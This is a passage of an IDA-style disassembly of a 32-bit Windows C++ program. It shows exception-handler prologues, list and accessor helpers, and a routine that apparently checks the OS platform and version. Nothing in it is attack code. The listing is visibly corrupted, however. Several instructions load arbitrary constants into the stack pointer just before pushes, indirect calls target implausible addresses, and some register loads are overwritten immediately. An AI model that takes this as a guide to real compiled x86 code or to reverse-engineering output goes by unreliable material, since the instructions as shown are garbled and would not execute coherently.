		db 550h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406300	proc near		; CODE XREF: sub_401875j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	0E6966h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_4013CF
		mov	esi, [esp+38h+arg_4]
		mov	ebx, 2A39A5h
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406351
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_401F73
		mov	[esp+38h+var_28], ebp
		jmp	loc_4063F7
; ---------------------------------------------------------------------------


loc_406351:				; CODE XREF: sub_406300+3Aj
		call	dword ptr ds:1D1CD2h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_4063E3
		mov	eax, ecx
		mov	edx, 9D1CDh
		cdq
		idiv	ecx
		mov	esp, 60CE8Eh
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	386747h
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_40146F
		jmp	short loc_4063F3
; ---------------------------------------------------------------------------


loc_4063E3:				; CODE XREF: sub_406300+7Cj
		mov	esi, [esp+38h+arg_0]
		push	1C33A3h
		mov	ecx, esi
		call	sub_4017A8


loc_4063F3:				; CODE XREF: sub_406300+E1j
		mov	[esp+38h+var_28], ebp


loc_4063F7:				; CODE XREF: sub_406300+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_4011F9
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_406300	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406470:				; CODE XREF: _294ADE7B:004015DCj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	0E19D1h
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_4017A8
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4064B0	proc near		; CODE XREF: sub_401DF7j

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4064B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_4013CF
		mov	[esp+1A4h+var_4], 1
		call	dword ptr ds:238674h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		call	dword ptr ds:51C33Ah
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		call	dword ptr ds:68E19Dh
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_40657E
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406566
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406556
		mov	ecx, 0AF470Ch
		jmp	loc_4065F1
; ---------------------------------------------------------------------------


loc_406556:				; CODE XREF: sub_4064B0+9Aj
		cmp	eax, 2
		jnz	loc_4065ED
		mov	eax, 0C5FA38h
		jmp	short loc_4065BA
; ---------------------------------------------------------------------------


loc_406566:				; CODE XREF: sub_4064B0+8Ej
		cmp	eax, 0Ah
		jnz	short loc_406572
		mov	ecx, 6F17E8h
		jmp	short loc_4065B0
; ---------------------------------------------------------------------------


loc_406572:				; CODE XREF: sub_4064B0+B9j
		cmp	eax, 5Ah
		jnz	short loc_4065AB
		mov	edi, 65FC5Fh
		jmp	short loc_4065B0
; ---------------------------------------------------------------------------


loc_40657E:				; CODE XREF: sub_4064B0+83j
		cmp	eax, 5
		jnz	short loc_4065AB
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406595
		mov	edx, offset byte_4597F1
		jmp	short loc_4065B0
; ---------------------------------------------------------------------------


loc_406595:				; CODE XREF: sub_4064B0+DCj
		cmp	eax, 1
		jnz	short loc_4065A1
		mov	edi, 0C4AB2Fh
		jmp	short loc_4065B0
; ---------------------------------------------------------------------------


loc_4065A1:				; CODE XREF: sub_4064B0+E8j
		cmp	eax, 2
		mov	ecx, offset dword_4B12AC
		jz	short loc_4065B0


loc_4065AB:				; CODE XREF: sub_4064B0+C5j
					; sub_4064B0+D1j
		mov	edx, 8A5895h


loc_4065B0:				; CODE XREF: sub_4064B0+C0j
					; sub_4064B0+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_4065F1


loc_4065BA:				; CODE XREF: sub_4064B0+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_4065F1
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset word_452C4A
		push	edx
		call	dword ptr ds:229625h
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_4065F1
; ---------------------------------------------------------------------------


loc_4065ED:				; CODE XREF: sub_4064B0+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_4065F1:				; CODE XREF: sub_4064B0+A1j
					; sub_4064B0+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		call	dword ptr ds:514B12h
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		call	dword ptr ds:68A589h
		mov	eax, esi
		mov	esp, 0E5A296h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	esp, 0B968Ah
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	ecx, 0A0B968h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	ebx, 0AA82E5h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_401735
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	5D4172h
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_40146F
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_4011F9
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_4064B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4067C0	proc near		; CODE XREF: sub_4015F5j
		mov	eax, [ecx+9]
		retn
sub_4067C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4067E0	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	2EA0B9h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_4011F9
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4067E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406850	proc near		; CODE XREF: sub_401569j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_437008
		mov	dword ptr [eax+110h], 0
		retn
sub_406850	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406880:				; CODE XREF: _294ADE7B:00401E38j
		push	esi
		mov	esi, ecx
		call	sub_4013E8
		test	byte ptr [esp+8], 1
		jz	short loc_406898
		push	esi
		call	sub_430332
		add	esp, 4


loc_406898:				; CODE XREF: _294ADE7B:0040688Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4068B0	proc near		; CODE XREF: sub_4013E8j
		mov	dword ptr [ecx], offset	off_437008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_4068C7
		push	ecx
		call	sub_430332
		pop	ecx

locret_4068C7:				; CODE XREF: sub_4068B0+Ej
		retn
sub_4068B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4068E0	proc near		; CODE XREF: sub_401334j

var_454		= byte ptr -454h
var_43C		= byte ptr -43Ch
var_424		= byte ptr -424h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	17505Ch
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406911
		push	eax
		call	sub_430332
		add	esp, 4


loc_406911:				; CODE XREF: sub_4068E0+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_43034A
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_43034A
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, ds:dword_4B3AD8
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	0BA82Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp
		add	esp, 10h
		mov	[esp+464h+var_40C], eax
		lea	esi, [esp+464h+var_408]
		mov	ecx, offset byte_402EA0


loc_4069C2:				; CODE XREF: sub_4068E0+F4j
		push	281750h
		push	0
		call	ebp
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_4069C2
		mov	eax, [esp+464h+var_40C]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406BC8
		lea	ebp, [esp+464h+var_40C]


loc_4069E8:				; CODE XREF: sub_4068E0+2E0j
		mov	edi, [ebp+0]
		mov	ebp, 0A1502Eh
		mov	eax, edi


loc_4069F2:				; CODE XREF: sub_4068E0+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406A16
		test	cl, cl
		jz	short loc_406A12
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406A16
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_4069F2


loc_406A12:				; CODE XREF: sub_4068E0+11Cj
		xor	eax, eax
		jmp	short loc_406A1B
; ---------------------------------------------------------------------------


loc_406A16:				; CODE XREF: sub_4068E0+118j
					; sub_4068E0+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406A1B:				; CODE XREF: sub_4068E0+134j
		test	eax, eax
		jz	loc_406BB8
		mov	ecx, 0CA8540h
		mov	eax, edi


loc_406A2A:				; CODE XREF: sub_4068E0+168j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406A4E
		test	cl, cl
		jz	short loc_406A4A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406A4E
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406A2A


loc_406A4A:				; CODE XREF: sub_4068E0+154j
		xor	eax, eax
		jmp	short loc_406A53
; ---------------------------------------------------------------------------


loc_406A4E:				; CODE XREF: sub_4068E0+150j
					; sub_4068E0+15Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406A53:				; CODE XREF: sub_4068E0+16Cj
		test	eax, eax
		jnz	short loc_406A60
		mov	byte ptr [ebx+9], 1
		jmp	loc_406BB8
; ---------------------------------------------------------------------------


loc_406A60:				; CODE XREF: sub_4068E0+175j
		mov	ebp, 0C66D42h
		mov	eax, edi


loc_406A67:				; CODE XREF: sub_4068E0+1A5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406A8B
		test	cl, cl
		jz	short loc_406A87
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406A8B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406A67


loc_406A87:				; CODE XREF: sub_4068E0+191j
		xor	eax, eax
		jmp	short loc_406A90
; ---------------------------------------------------------------------------


loc_406A8B:				; CODE XREF: sub_4068E0+18Dj
					; sub_4068E0+19Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406A90:				; CODE XREF: sub_4068E0+1A9j
		test	eax, eax
		jnz	short loc_406A9D
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406BB8
; ---------------------------------------------------------------------------


loc_406A9D:				; CODE XREF: sub_4068E0+1B2j
		mov	eax, 2C66D4h
		mov	eax, edi


loc_406AA4:				; CODE XREF: sub_4068E0+1E2j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406AC8
		test	cl, cl
		jz	short loc_406AC4
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406AC8
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406AA4


loc_406AC4:				; CODE XREF: sub_4068E0+1CEj
		xor	eax, eax
		jmp	short loc_406ACD
; ---------------------------------------------------------------------------


loc_406AC8:				; CODE XREF: sub_4068E0+1CAj
					; sub_4068E0+1D8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406ACD:				; CODE XREF: sub_4068E0+1E6j
		test	eax, eax
		jnz	loc_406BB8
		lea	ecx, [esp+464h+var_454]
		call	sub_4013CF
		mov	eax, [esp+464h+arg_0]
		push	16336Ah
		push	eax
		mov	[esp+46Ch+var_4], 0
		call	dword ptr ds:0B19B5h
		add	esp, 8
		test	eax, eax
		jz	loc_406BA4
		push	eax
		lea	ecx, [esp+468h+var_454]
		call	sub_401564
		push	1
		push	58CDAh
		lea	ecx, [esp+46Ch+var_43C]
		push	1
		push	ecx
		lea	ecx, [esp+474h+var_454]
		call	sub_4011C2
		push	2C66Dh
		mov	ecx, eax
		mov	byte ptr [esp+468h+var_4], 1
		call	sub_4012B7
		lea	ecx, [esp+464h+var_43C]
		mov	esi, eax
		mov	byte ptr [esp+464h+var_4], 0
		call	sub_4011F9
		test	esi, esi
		jz	short loc_406BA4
		push	1
		push	16336h
		lea	edx, [esp+46Ch+var_424]
		push	1
		push	edx
		lea	ecx, [esp+474h+var_454]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011C2
		push	0B19Bh
		mov	ecx, eax
		mov	byte ptr [esp+468h+var_4], 2
		call	sub_4015F5
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		call	large dword ptr	ds:58CDh
		add	esp, 0Ch
		lea	ecx, [esp+464h+var_424]
		mov	byte ptr [esp+464h+var_4], 0
		call	sub_4011F9
		add	ebp, 4


loc_406BA4:				; CODE XREF: sub_4068E0+221j
					; sub_4068E0+271j
		lea	ecx, [esp+464h+var_454]
		mov	[esp+464h+var_4], 0FFFFFFFFh
		call	sub_4011F9


loc_406BB8:				; CODE XREF: sub_4068E0+13Dj
					; sub_4068E0+17Bj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_4069E8
		xor	ecx, ecx


loc_406BC8:				; CODE XREF: sub_4068E0+FEj
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406BD5
		mov	[ebx+5], ecx


loc_406BD5:				; CODE XREF: sub_4068E0+2F0j
		cmp	[ebx+5], ecx
		jnz	short loc_406BE5
		test	al, al
		jz	short loc_406BE5
		mov	dword ptr [ebx+5], 0Ah


loc_406BE5:				; CODE XREF: sub_4068E0+2F8j
					; sub_4068E0+2FCj
		mov	[ebx+5], ecx
		mov	ecx, [esp+458h+var_C]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
sub_4068E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406CE0	proc near		; CODE XREF: sub_401F28j

var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	2C66h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_401190
		lea	ecx, [esi+4]
		call	sub_4016A9
		lea	eax, [esp+7]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_4014FB
		mov	ecx, [esp+18h+var_C]
		mov	dword ptr [esi], offset	off_43700C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
sub_406CE0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406D60	proc near		; CODE XREF: sub_401523j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401564
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_401488
		pop	esi
		retn	0Ch
sub_406D60	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406DA0	proc near		; CODE XREF: sub_401A0Fj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_4019E2
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_4015A5
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_402027
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_401785
		test	al, al
		jz	short loc_406E1B
		mov	edi, [esp+10h+arg_0]


loc_406DE3:				; CODE XREF: sub_406DA0+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_40169F
		mov	ecx, [eax]
		call	sub_4012B7
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_406E25
		call	sub_401DCF
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_402027
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_401785
		test	al, al
		jnz	short loc_406DE3


loc_406E1B:				; CODE XREF: sub_406DA0+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_406E25:				; CODE XREF: sub_406DA0+5Aj
		call	sub_40169F
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_406DA0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406E70	proc near		; CODE XREF: sub_40205Ej
		xor	al, al
		retn	4
sub_406E70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406E90	proc near		; CODE XREF: sub_4014FBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40117C
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_406E90	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406ED0	proc near		; CODE XREF: sub_4015A5j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40199C
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401FFA
		mov	eax, esi
		pop	esi
		retn	4
sub_406ED0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406F10	proc near		; CODE XREF: sub_402027j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401FFA
		mov	eax, esi
		pop	esi
		retn	4
sub_406F10	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406F40	proc near		; CODE XREF: sub_401488j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402027
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401357
		pop	esi
		pop	ecx
		retn	4
sub_406F40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406F80	proc near		; CODE XREF: sub_4019E2j
		push	esi
		mov	esi, ecx
		call	sub_401A6E
		mov	eax, esi
		pop	esi
		retn
sub_406F80	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406FA0	proc near		; CODE XREF: sub_40169Fj
		mov	eax, [ecx]
		push	eax
		call	sub_4011E0
		add	esp, 4
		retn
sub_406FA0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406FC0	proc near		; CODE XREF: sub_401DCFj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40199C
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_406FC0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406FF0	proc near		; CODE XREF: sub_401785j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E4C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_406FF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407020	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401B6D
		mov	edi, eax
		push	edi
		call	sub_401B3B
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40117C
		push	edi
		mov	ebx, eax
		call	sub_401B3B
		push	edi
		mov	[eax], ebx
		call	sub_401B3B
		mov	edi, [eax]
		push	edi
		call	sub_401B3B
		mov	ecx, [eax]
		push	ecx
		call	sub_40199C
		mov	edx, [esp+1Ch+arg_8]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4011E0
		add	esp, 4
		mov	ecx, esi
		push	eax


loc_40707A:				; DATA XREF: _5AD6BD6B:0043D440o
					; _5AD6BD6B:0043D454o ...
		call	sub_4015E6
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+10h+arg_0]
		mov	ecx, esi
		call	sub_401FFA
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_407020	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4070C0	proc near		; CODE XREF: sub_40117Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4018F2
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4070D5
		mov	edi, esi


loc_4070D5:				; CODE XREF: sub_4070C0+11j
		push	esi
		call	sub_40199C
		mov	[eax], edi
		mov	edi, [esp+0Ch+arg_4]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4070EA
		mov	edi, esi


loc_4070EA:				; CODE XREF: sub_4070C0+26j
		push	esi
		call	sub_401B3B
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4070C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407110	proc near		; CODE XREF: sub_40199Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_407110	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
